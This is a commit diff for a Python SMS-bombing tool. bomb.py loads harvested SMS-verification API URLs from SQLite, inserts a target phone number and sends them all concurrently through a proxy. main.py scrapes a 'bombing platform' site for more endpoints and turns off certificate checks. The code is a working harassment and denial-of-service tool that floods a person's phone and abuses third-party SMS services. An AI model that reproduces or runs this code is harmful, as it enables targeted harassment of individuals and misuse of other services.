🎈 perf: 优化批量测试接口，更新部分接口。

bomb.py

@@ -3,30 +3,32 @@
 '''
 Author: whalefall
 Date: 2021-08-07 21:23:35
-LastEditTime: 2021-08-10 17:10:07
+LastEditTime: 2021-08-30 11:54:39
 Description: 异步轰炸
 '''
+import httpx
 import asyncio
-import aiohttp
 from utils.db_sqlite import Sql
 
 header = {
     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
 }
 
 
-async def get(url, session: aiohttp.ClientSession):
+async def get(url, session: httpx.AsyncClient):
     '''异步请求'''
     print(f"开始请求{url}")
-    async with session.get(url, headers=header) as resp:
-        status = await resp.text()
-        print(status)
-
+    try:
+        # resp = session.get(url, headers=header)
+        status = await session.get(url, headers=header)
+        print(status.text)
+    except Exception as e:
+        print(f'请求失败{url}.{e}')
 
 async def main():
     urls = Sql().select()
     tasks = []
-    async with aiohttp.ClientSession() as session:
+    async with httpx.AsyncClient(timeout=8,proxies={"all://":"http://120.52.73.44:18080"}) as session:
         for url in urls:
             url = url.replace("{phone}", "19820294268")
             task = asyncio.create_task(get(url, session))

main.py

@@ -3,14 +3,16 @@
 '''
 Author: whalefall
 Date: 2021-08-07 14:15:50
-LastEditTime: 2021-08-10 18:56:03
+LastEditTime: 2021-08-30 12:01:20
 Description: 短信测压接口测试平台,测试200状态码的接口,不一定可用
 '''
-import requests
-import re
-from utils.db_sqlite import Sql
-import queue
 import threading
+import queue
+from utils.db_sqlite import Sql
+import re
+import requests
+import urllib3
+urllib3.disable_warnings()
 
 
 class SMS(object):
@@ -31,7 +33,7 @@ def __init__(self, website, key=key_default) -> None:
     def get_sms_api(self):
         '''请求短信轰炸平台'''
         with requests.session() as ses:
-            ses.get(self.url, headers=self.header)
+            ses.get(self.url, headers=self.header,verify=False)
             resp = ses.get(f"{self.url}{self.key}", headers=self.header)
         # print(resp.text)
         pat = re.compile(r"<img src='(.*?)' alt=''/>")
@@ -65,15 +67,17 @@ def check_theads(self):
             try:
                 with requests.get(api.replace("{phone}", SMS.default_phone), headers=self.header, timeout=20, verify=False) as resp:
                     if resp.status_code == 200:
-                        print(
-                            f"线程{threading.current_thread().name}:已添加{api}队列数:{str(self.api_queue.qsize())}")
+                        print(f'线程{threading.current_thread().name}:[SUC]校验成功!队列数:{str(self.api_queue.qsize())}')
                         with self.lock:
                             # 多线程写sqlite数据库要加锁
-                            self.db.update(api)
-
+                            r = self.db.update(api)
+                            if r:
+                                print(
+                                    f"线程{threading.current_thread().name}:已添加{api} 队列数:{str(self.api_queue.qsize())}")
             except Exception as e:
                 print(
-                    f"线程{threading.current_thread().name}出错:{e}队列数:{str(self.api_queue.qsize())}")
+                    f"线程{threading.current_thread().name}出错 队列数:{str(self.api_queue.qsize())}")
+                pass
             finally:
                 self.api_queue.task_done()
 
@@ -112,4 +116,6 @@ def main(self):
     url = "https://hz.79g.cn/index.php"
     # 0pcall=15019682928&c=1 需要加f格式化字符串！！
     spider = SMS(url, key=f'?0pcall={SMS.default_phone}&ok=')
+    # url = 'https://120.77.244.209/sdlz/yh.php'
+    # spider = SMS(url)
     spider.main()

utils/db_sqlite.py

@@ -3,7 +3,7 @@
 '''
 Author: whalefall
 Date: 2021-08-07 14:59:08
-LastEditTime: 2021-08-10 17:08:54
+LastEditTime: 2021-08-30 11:55:18
 Description: python操作数据库
 '''
 import sqlite3
@@ -41,8 +41,10 @@ def update(self, url):
         try:
             self.cursor.execute(sql, (url,))
             self.client.commit()
+            return True
         except sqlite3.IntegrityError:
-            print(f"{url} 数据重复!")
+            # print(f"{url} 数据重复!")
+            return False
 
     def select(self) -> list:
         '''获取所有接口'''